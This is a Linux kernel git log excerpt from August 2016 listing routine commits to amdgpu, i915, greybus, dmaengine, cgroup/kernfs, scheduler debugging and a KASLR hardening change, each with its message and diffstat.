92696dd52e58b5caaee1dc027cf14f327f91d2e1 Author: Christian König Date: Fri Aug 5 13:56:35 2016 +0200 drm/amdgpu: flip frag_ptes and update_pts We can add the fragment params before we split the update for the page tables. That should save a few CPU cycles for larger updates. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 166 ++++++++++++++++----------------- 1 file changed, 79 insertions(+), 87 deletions(-) commit 27c5f36fe138e29d63eea7d1445bda1ca64921d9 Author: Christian König Date: Thu Aug 4 15:02:49 2016 +0200 drm/amdgpu: add adev to the pte_update_params No need to carry that forward as a separate parameter. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 65 +++++++++++++++------------------- 1 file changed, 29 insertions(+), 36 deletions(-) commit 29efc4f5dfe47e992b04f92c4a4d990d03816e78 Author: Christian König Date: Thu Aug 4 14:52:50 2016 +0200 drm/amdgpu: rename amdgpu_vm_update_params Well those are actually page table entry parameters. This also makes the variable names used a bit shorter. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 91 ++++++++++++++++------------------ 1 file changed, 44 insertions(+), 47 deletions(-) commit 1303c73c61fea8cc5509e5b0e3cbe5253e260ca1 Author: Christian König Date: Wed Aug 3 17:46:42 2016 +0200 drm/amdgpu: cleanup VM fragment defines We can actually do way more than just the 64KB we currently used as default. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 8 ++++---- drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) commit 3a8a6ab4a59fdc812fe020d97726ff925b341ec8 Author: Christian König Date: Wed Aug 3 17:39:26 2016 +0200 drm/amdgpu: remove unused VM defines Not used for a long time. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 2 -- 1 file changed, 2 deletions(-) commit 61cb8cef526d238de2ff278d9e562a6239d8f98a Author: Tom St Denis Date: Tue Aug 9 10:13:21 2016 -0400 drm/amd/amdgpu: Simplify bitfield operations in gfx v8 This patch introduces a new macro WREG32_FIELD which is used to write to a register with a new value in a field. It's designed to replace the pattern: tmp = RREG32(mmFoo); tmp &= ~REG__FIELD_MASK; tmp |= new_value << REG__FIELD__SHIFT; WREG32(mmFoo, tmp) with: WREG32_FIELD(Foo, FIELD, new_value); Unlike WREG32_P() it understands offsets/masks and doesn't require the caller to shift the value (or mask properly). It's applied where suitable in the gfx_v8_0.c driver to start with. Signed-off-by: Tom St Denis Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 3 + drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 275 ++++++---------------------------- 2 files changed, 48 insertions(+), 230 deletions(-) commit 5003f2785a20d9caf4040d9d9039644f6ee41892 Author: Tom St Denis Date: Tue Aug 9 10:10:30 2016 -0400 drm/amd/amdgpu: Simplify various gfx v8 functions Signed-off-by: Tom St Denis Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 61 ++++++++++++----------------------- 1 file changed, 20 insertions(+), 41 deletions(-) commit 62d2ce4b09f62c4be62ba7b2cab81d164403bf85 Author: Tom St Denis Date: Tue Aug 9 10:07:36 2016 -0400 drm/amd/amdgpu: Correct whitespace in GFX v8 Fix various whitespace issues in gfx v8 driver. Signed-off-by: Tom St Denis Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 41 ++++++++++++++--------------------- 1 file changed, 16 insertions(+), 25 deletions(-) commit 9accf2fd33e969862c55be0c20dbfb9b0890bbb8 Author: Emily Deng Date: Wed Aug 10 16:01:25 2016 +0800 drm/amdgpu: Change the virtual_display type from int to char*. For virtual display feature, as there may be multiple GPUs, for user could choose whiche GPU need to enable this feature, change the type of virtual_display from int to char*. The variable will be set like this virtual_display="xxxx:xx:xx.x;xxxx:xx:xx.x;". Signed-off-by: Emily Deng Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 3 ++- drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 29 ++++++++++++++++++++++++++++- drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 6 +++--- drivers/gpu/drm/amd/amdgpu/cik.c | 2 +- drivers/gpu/drm/amd/amdgpu/vi.c | 2 +- 5 files changed, 35 insertions(+), 7 deletions(-) commit a657ae7e5c0c9fd8858e5498e6de65c222d206d1 Author: Vinod Koul Date: Wed Aug 10 09:40:50 2016 +0530 ASoC: Intel: Skylake: remove module id query at runtime Now that we have balanced loading of the topology file and split of init and fw_init and fill module data during asoc probe. So remove it from runtime, but keep error check in case things fall apart. Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-topology.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 64cb1d0ad0eada322c2011e15710d2a1c12ce8b6 Author: Vinod Koul Date: Wed Aug 10 09:40:49 2016 +0530 ASoC: Intel: Skylake: Populate modules after loading Once topology and firmware are loaded, we can parse the manifest. Use driver pipe and widget list to get list of all modules and populate the data. Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-pcm.c | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) commit 0556ba463b2419e4f4833563aa3d75aafd9b9c01 Author: Dharageswari R Date: Wed Aug 10 09:40:48 2016 +0530 ASoC: Intel: Skylake: modify snd_skl_get_module_info args snd_skl_get_module_info() takes skl_dfw_module as an argument. The users then updates the topology data, so instead pass skl_module_cfg and let snd_skl_get_module_info() fill that up. Signed-off-by: Dharageswari R Signed-off-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/skylake/skl-sst-dsp.h | 7 ++++--- sound/soc/intel/skylake/skl-sst-utils.c | 10 +++++----- sound/soc/intel/skylake/skl-topology.c | 14 +------------- 3 files changed, 10 insertions(+), 21 deletions(-) commit 4e968d9e46ceee57e3f5b96d1486745416c9a4a5 Author: Wei Yongjun Date: Fri Jul 29 15:56:52 2016 +0000 remoteproc: qcom: hexagon: Fix error return code in q6v5_probe() Fix to return a negative error code from the state get failed error handling case instead of 0, as done elsewhere in this function. Signed-off-by: Wei Yongjun Signed-off-by: Bjorn Andersson drivers/remoteproc/qcom_q6v5_pil.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit c14b9a940e53a50f8fc56cc613525d2db40f19be Author: Lee Jones Date: Thu Aug 4 10:21:47 2016 +0100 remoteproc: core: Remove pointless OOM print These types of error prints are superfluous. The system will pick up on OOM issues and let the user know. Signed-off-by: Lee Jones Signed-off-by: Bjorn Andersson drivers/remoteproc/remoteproc_core.c | 1 - 1 file changed, 1 deletion(-) commit 353861660aa2e4453df416879f48478a09427510 Author: Lee Jones Date: Thu Aug 4 10:21:46 2016 +0100 remoteproc: core: Trivial: Improve error checking, spelling and debug prints Trivial patch to clean up a couple of minor misgivings. Signed-off-by: Lee Jones Signed-off-by: Bjorn Andersson drivers/remoteproc/remoteproc_core.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 9c219b2337b87108cc57acf93e31ce1ab0e8013e Author: Lee Jones Date: Thu Aug 4 10:21:45 2016 +0100 remoteproc: core: Ensure error message is clear Before this patch, the dma_alloc_coherent() failure path printed out: "dma_alloc_coherent err: 16760832" ... alluding to the Linux error code being 16760832, but seeing as Linux error codes are all negative, this looks like a signed/unsigned issue. In fact, the message is trying to print the length of the requested memory region. Let's clear that up. While we're at it, let's standardise the way 'len' is printed. In all other locations 'len' is in hex prefixed by a '0x' for clarity. Signed-off-by: Lee Jones Signed-off-by: Bjorn Andersson drivers/remoteproc/remoteproc_core.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit c8ced113c283008f734ac7a66f173f4305fe1319 Author: Andrew F. Davis Date: Fri Jul 1 09:24:58 2016 -0500 rpmsg: remove unneeded conversions to bool Found with scripts/coccinelle/misc/boolconv.cocci. Signed-off-by: Andrew F. Davis Signed-off-by: Bjorn Andersson drivers/rpmsg/virtio_rpmsg_bus.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e4b75760faac2b858e0b244ce716bf30a239ae2f Author: Martin Kaiser Date: Mon Aug 8 22:45:58 2016 +0200 dmaengine: imx-sdma: (trivial) fix a typo Signed-off-by: Martin Kaiser Signed-off-by: Vinod Koul drivers/dma/imx-sdma.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1c2e8e6b6429688e6b1096db1a89a60faaa6d8dc Author: Peter Ujfalusi Date: Wed Jul 20 11:50:32 2016 +0300 dmaengine: omap-dma: Support for LinkedList transfer of slave_sg sDMA in OMAP3630 or newer SoC have support for LinkedList transfer. When LinkedList or Descriptor load feature is present we can create the descriptors for each and program sDMA to walk through the list of descriptors instead of the current way of sDMA stop, sDMA reconfiguration and sDMA start after each SG transfer. By using LinkedList transfer in sDMA the number of DMA interrupts will decrease dramatically. Booting up the board with filesystem on SD card for example: W/o LinkedList support: 27: 4436 0 WUGEN 13 Level omap-dma-engine Same board/filesystem with this patch: 27: 1027 0 WUGEN 13 Level omap-dma-engine Or copying files from SD card to eMCC: 2.1G /usr/ 232001 W/o LinkedList we see ~761069 DMA interrupts. With LinkedList support it is down to ~269314 DMA interrupts. With the decreased DMA interrupt number the CPU load is dropping significantly as well. Signed-off-by: Peter Ujfalusi Signed-off-by: Vinod Koul drivers/dma/omap-dma.c | 183 +++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 177 insertions(+), 6 deletions(-) commit cb7958dfa9bc4a69f94eaa8bbc9d21a291a2a560 Author: Peter Ujfalusi Date: Wed Jul 20 11:50:31 2016 +0300 dmaengine: omap-dma: Use pointer to omap_sg in slave_sg setup's loop Instead of accessing the array via index, take the pointer first and use it to set up the omap_sg struct. Signed-off-by: Peter Ujfalusi Signed-off-by: Vinod Koul drivers/dma/omap-dma.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 3c9b833f5bfff704b805f31e818d6be8b804955f Author: Peter Ujfalusi Date: Wed Jul 20 11:50:30 2016 +0300 dmaengine: omap-dma: Add more debug information when freeing channel Print the same information the driver prints when allocating the channel resources regarding to the sDMA channel. Signed-off-by: Peter Ujfalusi Signed-off-by: Vinod Koul drivers/dma/omap-dma.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 2d1a9a946faebfedd660a1f1c2b90984fff41f91 Author: Peter Ujfalusi Date: Wed Jul 20 11:50:29 2016 +0300 dmaengine: omap-dma: Dynamically allocate memory for lch_map On OMAP1 platforms we do not have 32 channels available. Allocate the lch_map based on the available channels. This way we are not going to have more visible channels then it is available on the platform. Signed-off-by: Peter Ujfalusi Signed-off-by: Vinod Koul drivers/dma/omap-dma.c | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) commit b57ebe080cffb323b062fbff1a35ef59de3bd5d1 Author: Peter Ujfalusi Date: Wed Jul 20 11:50:28 2016 +0300 dmaengine: omap-dma: Simplify omap_dma_callback Flatten the indentation level of the function which gives better view on the cases we handle here. Signed-off-by: Peter Ujfalusi Signed-off-by: Vinod Koul drivers/dma/omap-dma.c | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) commit a5dc3fcac4a29b77e8bd476b8b5242e8f449d3a6 Author: Peter Ujfalusi Date: Wed Jul 20 11:50:27 2016 +0300 dmaengine: omap-dma: Simplify omap_dma_start_sg parameter list We can drop the (sg)idx parameter for the omap_dma_start_sg() function and increment the sgidx inside of the same function. Signed-off-by: Peter Ujfalusi Signed-off-by: Vinod Koul drivers/dma/omap-dma.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 23a34f9d03a5d40a6234855bc069da370708cc9e Author: Tero Kristo Date: Wed Aug 10 17:53:55 2016 +0530 regulator: tps65218: do not disable DCDC3 during poweroff on broken PMICs Some versions of tps65218 do not seem to support poweroff modes properly if DCDC3 regulator is shut-down. Thus, keep it enabled even during poweroff if the version info matches the broken silicon revision. Signed-off-by: Tero Kristo Signed-off-by: Dave Gerlach Signed-off-by: Keerthy Acked-by: Lee Jones Signed-off-by: Mark Brown drivers/regulator/tps65218-regulator.c | 8 ++++++++ include/linux/mfd/tps65218.h | 5 +++++ 2 files changed, 13 insertions(+) commit f11fa1796a4b4f8c6d4ced37e8824276ec57057d Author: Tero Kristo Date: Wed Aug 10 17:53:54 2016 +0530 mfd: tps65218: add version check to the PMIC probe Version information will be needed to handle some error cases under the regulator driver, so store the information once during MFD probe. Signed-off-by: Tero Kristo Signed-off-by: Dave Gerlach Signed-off-by: Keerthy Acked-by: Lee Jones Signed-off-by: Mark Brown drivers/mfd/tps65218.c | 9 +++++++++ include/linux/mfd/tps65218.h | 1 + 2 files changed, 10 insertions(+) commit 9bcd919eb84224aee2a5ed4fa33ed80aabfe0343 Author: Wei Yongjun Date: Wed Aug 10 13:44:27 2016 +0000 EDAC, altera: Make a10_eccmgr_ic_ops static Fix the following sparse warning: drivers/edac/altera_edac.c:1649:23: warning: symbol 'a10_eccmgr_ic_ops' was not declared. Should it be static? Signed-off-by: Wei Yongjun Reviewed-by: Thor Thayer Cc: linux-edac Cc: lkml Link: http://lkml.kernel.org/r/1470836667-11822-1-git-send-email-weiyj.lk@gmail.com Signed-off-by: Borislav Petkov drivers/edac/altera_edac.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b55d2c847454d197a7cf5ce2e1c175b080012184 Author: Patrice Chotard Date: Wed Aug 10 17:37:30 2016 +0200 ARM: dts: STiH407-family: Add ports-implemented property in sata nodes Despite ST AHCI version = 1.3, reading HOST_PORTS_IMPL returns 0. So force HOST_PORTS_IMPL to 1 by using ports-implemented DT property. Signed-off-by: Patrice Chotard Signed-off-by: Tejun Heo arch/arm/boot/dts/stih407-family.dtsi | 4 ++++ 1 file changed, 4 insertions(+) commit e7190699ca8c8daa52bfc62c01a71dea6decc9ee Author: Patrice Chotard Date: Wed Aug 10 17:37:29 2016 +0200 ahci: st: Add ports-implemented property in support Despite ST AHCI version = 1.3, reading HOST_PORTS_IMPL returns 0. So force_port_map to 1 by using ports-implemented DT property. Signed-off-by: Patrice Chotard Signed-off-by: Tejun Heo drivers/ata/ahci_st.c | 4 ++++ 1 file changed, 4 insertions(+) commit ed1777de25e45bfb58fad63341904f8a77911785 Author: Tejun Heo Date: Wed Aug 10 11:23:44 2016 -0400 cgroup: add tracepoints for basic operations Debugging what goes wrong with cgroup setup can get hairy. Add tracepoints for cgroup hierarchy mount, cgroup creation/destruction and task migration operations for better visibility. Signed-off-by: Tejun Heo include/trace/events/cgroup.h | 163 ++++++++++++++++++++++++++++++++++++++++++ kernel/cgroup.c | 25 +++++++ 2 files changed, 188 insertions(+) commit 4c737b41de7f4eef2a593803bad1b918dd718b10 Author: Tejun Heo Date: Wed Aug 10 11:23:44 2016 -0400 cgroup: make cgroup_path() and friends behave in the style of strlcpy() cgroup_path() and friends used to format the path from the end and thus the resulting path usually didn't start at the start of the passed in buffer. Also, when the buffer was too small, the partial result was truncated from the head rather than tail and there was no way to tell how long the full path would be. These make the functions less robust and more awkward to use. With recent updates to kernfs_path(), cgroup_path() and friends can be made to behave in strlcpy() style. * cgroup_path(), cgroup_path_ns[_locked]() and task_cgroup_path() now always return the length of the full path. If buffer is too small, it contains nul terminated truncated output. * All users updated accordingly. v2: cgroup_path() usage in kernel/sched/debug.c converted. Signed-off-by: Tejun Heo Acked-by: Greg Kroah-Hartman Cc: Serge Hallyn Cc: Peter Zijlstra include/linux/blk-cgroup.h | 11 +---------- include/linux/cgroup.h | 16 +++++----------- kernel/cgroup.c | 48 +++++++++++++++++++++------------------------- kernel/cpuset.c | 12 ++++++------ kernel/sched/debug.c | 3 ++- 5 files changed, 36 insertions(+), 54 deletions(-) commit bb09c8634b1e484b8840fb2384d55739bfcb68bd Author: Tejun Heo Date: Wed Aug 10 11:23:44 2016 -0400 kernfs: remove kernfs_path_len() It doesn't have any in-kernel user and the same result can be obtained from kernfs_path(@kn, NULL, 0). Remove it. Signed-off-by: Tejun Heo Acked-by: Greg Kroah-Hartman Cc: Serge Hallyn fs/kernfs/dir.c | 23 ----------------------- include/linux/kernfs.h | 4 ---- 2 files changed, 27 deletions(-) commit 3abb1d90f5d930c6183534a624aa0158a71bc5eb Author: Tejun Heo Date: Wed Aug 10 11:23:44 2016 -0400 kernfs: make kernfs_path*() behave in the style of strlcpy() kernfs_path*() functions always return the length of the full path but the path content is undefined if the length is larger than the provided buffer. This makes its behavior different from strlcpy() and requires error handling in all its users even when they don't care about truncation. In addition, the implementation can actully be simplified by making it behave properly in strlcpy() style. * Update kernfs_path_from_node_locked() to always fill up the buffer with path. If the buffer is not large enough, the output is truncated and terminated. * kernfs_path() no longer needs error handling. Make it a simple inline wrapper around kernfs_path_from_node(). * sysfs_warn_dup()'s use of kernfs_path() doesn't need error handling. Updated accordingly. * cgroup_path()'s use of kernfs_path() updated to retain the old behavior. Signed-off-by: Tejun Heo Acked-by: Greg Kroah-Hartman Acked-by: Serge Hallyn fs/kernfs/dir.c | 61 ++++++++++++++------------------------------------ fs/sysfs/dir.c | 6 ++--- include/linux/cgroup.h | 7 +++++- include/linux/kernfs.h | 21 ++++++++++++----- 4 files changed, 42 insertions(+), 53 deletions(-) commit 0e0b2afdf644aa523f5eb10ce1f9e3c6cd8362ec Author: Tejun Heo Date: Wed Aug 10 11:23:43 2016 -0400 kernfs: add dummy implementation of kernfs_path_from_node() The dummy version of kernfs_path_from_node() was missing. This currently doesn't break anything. Let's add it for consistency and to ease adding wrappers around it. v2: Removed stray ';' which was causing build failures. Signed-off-by: Tejun Heo Acked-by: Greg Kroah-Hartman include/linux/kernfs.h | 5 +++++ 1 file changed, 5 insertions(+) commit 17f298cf5458045562157a8bb7a592dbdace3d95 Author: Chris Wilson Date: Wed Aug 10 13:41:46 2016 +0100 drm/i915: Move setting of request->batch into its single callsite request->batch_obj is only set by execbuffer for the convenience of debugging hangs. By moving that operation to the callsite, we can simplify all other callers and future patches. We also move the complications of reference handling of the request->batch_obj next to where the active tracking is set up for the request. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470832906-13972-2-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_execbuffer.c | 10 +++++++++- drivers/gpu/drm/i915/i915_gem_request.c | 12 +----------- drivers/gpu/drm/i915/i915_gem_request.h | 8 +++----- 3 files changed, 13 insertions(+), 17 deletions(-) commit 737aac2465e9f44f8ab4f3b75f3220b524ae2a1b Author: Chris Wilson Date: Wed Aug 10 13:41:45 2016 +0100 drm/i915: Mark unmappable GGTT entries as PIN_HIGH We allocate a few objects into the GGTT that we never need to access via the mappable aperture (such as contexts, status pages). We can request that these are bound high in the VM to increase the amount of mappable aperture available. However, anything that may be frequently pinned (such as logical contexts) we want to use the fast search & insert. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470832906-13972-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_lrc.c | 2 +- drivers/gpu/drm/i915/intel_ringbuffer.c | 5 +++-- 2 files changed, 4 insertions(+), 3 deletions(-) commit b5163dbb17fd0648600d2c840e53b76f5ca49a5b Author: Chris Wilson Date: Wed Aug 10 13:58:24 2016 +0100 drm/i915: Fix nesting of rps.mutex and struct_mutex during powersave init During intel_gt_powersave_init() we take the RPS mutex to ensure that all locking requirements are met as we talk to the punit, but we also require the struct_mutex for allocating a slice of the global GTT for a power context on Valleyview. struct_mutex must be the outer lock here, as we nest rps.mutex inside later on. Reported-by: Ville Syrjälä Fixes: 773ea9a80132 ("drm/i915: Perform static RPS frequency setup before...") Signed-off-by: Chris Wilson Cc: Ville Syrjälä Cc: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/1470833904-29886-1-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Ville Syrjälä drivers/gpu/drm/i915/intel_pm.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit b3136a77a49026c2f393e8ad6c99e3b5514d1e5a Author: Greg Kroah-Hartman Date: Wed Aug 10 17:02:05 2016 +0200 greybus: fix up copyright dates on arpc.h I got them wrong, Johan was right, my fault. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arpc.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit f0b22e39e3409109d40ef036b1f46b419e82f58e Author: Vegard Nossum Date: Fri Jul 22 21:46:02 2016 +0200 sched/debug: Add taint on "BUG: Sleeping function called from invalid context" Seeing this, it occurs to me that we should probably add a taint here: BUG: sleeping function called from invalid context at mm/slab.h:388 in_atomic(): 0, irqs_disabled(): 0, pid: 32211, name: trinity-c3 Preemption disabled at:[] console_unlock+0x2f7/0x930 CPU: 3 PID: 32211 Comm: trinity-c3 Not tainted 4.7.0-rc7+ #19 ^^^^^^^^^^^ Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 0000000000000000 ffff8800b8a17160 ffffffff81971441 ffff88011a3c4c80 ffff88011a3c4c80 ffff8800b8a17198 ffffffff81158067 0000000000000de6 ffff88011a3c4c80 ffffffff8390e07c 0000000000000184 0000000000000000 Call Trace: [...] BUG: sleeping function called from invalid context at arch/x86/mm/fault.c:1309 in_atomic(): 0, irqs_disabled(): 0, pid: 32211, name: trinity-c3 Preemption disabled at:[] down_trylock+0x13/0x80 CPU: 3 PID: 32211 Comm: trinity-c3 Not tainted 4.7.0-rc7+ #19 ^^^^^^^^^^^ Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 0000000000000000 ffff8800b8a17e08 ffffffff81971441 ffff88011a3c4c80 ffff88011a3c4c80 ffff8800b8a17e40 ffffffff81158067 0000000000000000 ffff88011a3c4c80 ffffffff83437b20 000000000000051d 0000000000000000 Call Trace: [...] Signed-off-by: Vegard Nossum Acked-by: Thomas Gleixner Cc: Andrew Morton Cc: Linus Torvalds Cc: Mike Galbraith Cc: Paul E. McKenney Cc: Peter Zijlstra Cc: Rusty Russel Link: http://lkml.kernel.org/r/1469216762-19626-1-git-send-email-vegard.nossum@oracle.com Signed-off-by: Ingo Molnar kernel/sched/core.c | 1 + 1 file changed, 1 insertion(+) commit 25dfe4785332723f09311dcb7fd91015a60c022f Author: Thomas Garnier Date: Wed Jul 27 08:59:56 2016 -0700 x86/mm/64: Enable KASLR for vmemmap memory region Add vmemmap in the list of randomized memory regions. The vmemmap region holds a representation of the physical memory (through a struct page array). An attacker could use this region to disclose the kernel memory layout (walking the page linked list). Signed-off-by: Thomas Garnier Signed-off-by: Kees Cook Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: kernel-hardening@lists.openwall.com Link: http://lkml.kernel.org/r/1469635196-122447-1-git-send-email-thgarnie@google.com [ Minor edits. ] Signed-off-by: Ingo Molnar arch/x86/include/asm/kaslr.h | 1 + arch/x86/include/asm/pgtable_64_types.h | 4 +++- arch/x86/mm/kaslr.c | 26 ++++++++++++++++++++++++-- 3 files changed, 28 insertions(+), 3 deletions(-) commit d1c6d149cf04d6c7c3c3ebf4b66c82500cbcf6e1 Author: Vegard Nossum Date: Sat Jul 23 09:46:39 2016 +0200 sched/debug: Make the "Preemption disabled at ..." message more useful This message is currently really useless since it always prints a value that comes from the printk() we just did, e.g.: BUG: sleeping function called from invalid context at mm/slab.h:388 in_atomic(): 0, irqs_disabled(): 0, pid: 31996, name: trinity-c1 Preemption disabled at:[] down_trylock+0x13/0x80 BUG: sleeping function called from invalid context at include/linux/freezer.h:56 in_atomic(): 0, irqs_disabled(): 0, pid: 31996, name: trinity-c1 Preemption disabled at:[] console_unlock+0x2f7/0x930 Here, both down_trylock() and console_unlock() is somewhere in the printk() path. We should save the value before calling printk() and use the saved value instead. That immediately reveals the offending callsite: BUG: sleeping function called from invalid context at mm/slab.h:388 in_atomic(): 0, irqs_disabled(): 0, pid: 14971, name: trinity-c2 Preemption disabled at:[] rhashtable_walk_start+0x46/0x150 Bug report: http://marc.info/?l=linux-netdev&m=146925979821849&w=2 Signed-off-by: Vegard Nossum Cc: Andrew Morton Cc: Linus Torvalds Cc: Mike Galbraith Cc: Paul E. McKenney Cc: Peter Zijlstra Cc: Rusty Russel Cc: Thomas Gleixner Signed-off-by: Ingo Molnar include/linux/sched.h | 9 +++++++++ kernel/sched/core.c | 21 +++++++++++++-------- 2 files changed, 22 insertions(+), 8 deletions(-) commit d3bafff783311cb2e8f4b63e45548079948df989 Author: Ben Dooks Date: Tue Jun 21 11:20:26 2016 +0100 ARM: EXYNOS: Enable ARCH_SUPPORTS_BIG_ENDIAN explicitly Now the initial fixes have the big-endian code working on EXYNOS, make sure we explicitly mark our arch as being big endian capable. Signed-off-by: Ben Dooks Signed-off-by: Krzysztof Kozlowski arch/arm/mach-exynos/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 811b1f58610d219610c223a1d63031171a079a7c Author: Kris Huang Date: Tue Aug 9 11:28:37 2016 +0800 greybus: lights: enable multi color LED support A backport (commit 79c4de08c0e5a26b04a4ac9e6543dad6379f0b40) was applied in kernel which adding attribute-group support in led-class. Remove the LED_HAVE_GROUPS flag check entirely that allow led drivers to create custom attributes like color/fade_in/fade_out. Testing Done: Compiled and verified on EVT2 and gpbridge-test module with device class daughter board. Signed-off-by: Kris Huang Reviewed-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 7 ------- drivers/staging/greybus/light.c | 8 -------- 2 files changed, 15 deletions(-) commit 57fa2de1e5671c3632c5666ce08e03f1e3dc0242 Author: Georgi Dobrev Date: Tue Aug 9 14:37:32 2016 -0700 greybus: greybus-driver: Add intf_oops operation Add intf_oops operation to SVC Protocol. This operation will notify the AP about a fatal error in a module. The request has two arguments: -u8 intf - the interface in question -u8 reason - reason of the error The response has no payload. Upon receiving the Request, the driver disables the Interface. Signed-off-by: Georgi Dobrev Reviewed-by: Viresh Kumar Reviewed-by: Ashwin Chaugule Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 7 ++++ drivers/staging/greybus/svc.c | 50 +++++++++++++++++++++++++++++ 2 files changed, 57 insertions(+) commit aa877175e7a9982233ed8f10cb4bfddd78d82741 Author: Boris Ostrovsky Date: Wed Aug 3 13:22:28 2016 -0400 cpu/hotplug: Prevent alloc/free of irq descriptors during CPU up/down (again) Now that Xen no longer allocates irqs in _cpu_up() we can restore commit: a89941816726 ("hotplug: Prevent alloc/free of irq descriptors during cpu up/down") Signed-off-by: Boris Ostrovsky Reviewed-by: Juergen Gross Acked-by: Thomas Gleixner Cc: Anna-Maria Gleixner Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Sebastian Andrzej Siewior Cc: david.vrabel@citrix.com Cc: xen-devel@lists.xenproject.org Link: http://lkml.kernel.org/r/1470244948-17674-3-git-send-email-boris.ostrovsky@oracle.com Signed-off-by: Ingo Molnar arch/x86/kernel/smpboot.c | 11 ----------- kernel/cpu.c | 8 ++++++++ 2 files changed, 8 insertions(+), 11 deletions(-) commit 127bada1a1951d9624c08eeab99234ced0df900e Author: Jacopo Mondi Date: Wed Aug 10 09:08:19 2016 +0200 greybus: camera: Remove reference to ara subdevice Remove last occurrence of "ara" term in camera driver. Replace reference to "ara subdevice" with "gmp subdevice" Signed-off-by: Jacopo Mondi Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7d0e76d6cbbcc7b71f65d39ee2b4231beab42faa Author: Johan Hovold Date: Wed Aug 10 12:58:41 2016 +0200 greybus: arpc: move arpc definitions to their own header Move the ARPC definitions to their own header. ARPC is not part of greybus, but is rather an implementation-specific means of communicating with a certain class of host-device hardware. Note that the same is true for the APBA USB vendor requests, but we keep them in the greybus header for the time being. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arpc.h | 85 +++++++++++++++++++++++++++++ drivers/staging/greybus/es2.c | 1 + drivers/staging/greybus/greybus_protocols.h | 29 ---------- 3 files changed, 86 insertions(+), 29 deletions(-) commit 83d474f7aa467a8cc4cb33337a790fea891a98f1 Author: Johan Hovold Date: Wed Aug 10 12:58:40 2016 +0200 greybus: es2: fix USB vendor-request prefixes Make sure to use the common GB_APB prefix for all APBA USB vendor requests. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 10 +++++----- drivers/staging/greybus/greybus_protocols.h | 14 +++++++------- 2 files changed, 12 insertions(+), 12 deletions(-) commit a4fe35072f3c531c97694de2e7fe28939b72c742 Author: Johan Hovold Date: Wed Aug 10 12:58:39 2016 +0200 greybus: greybus_protocols: fix apba vendor-request comment Fix copy-paste error in an APBA USB vendor-request comment. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) 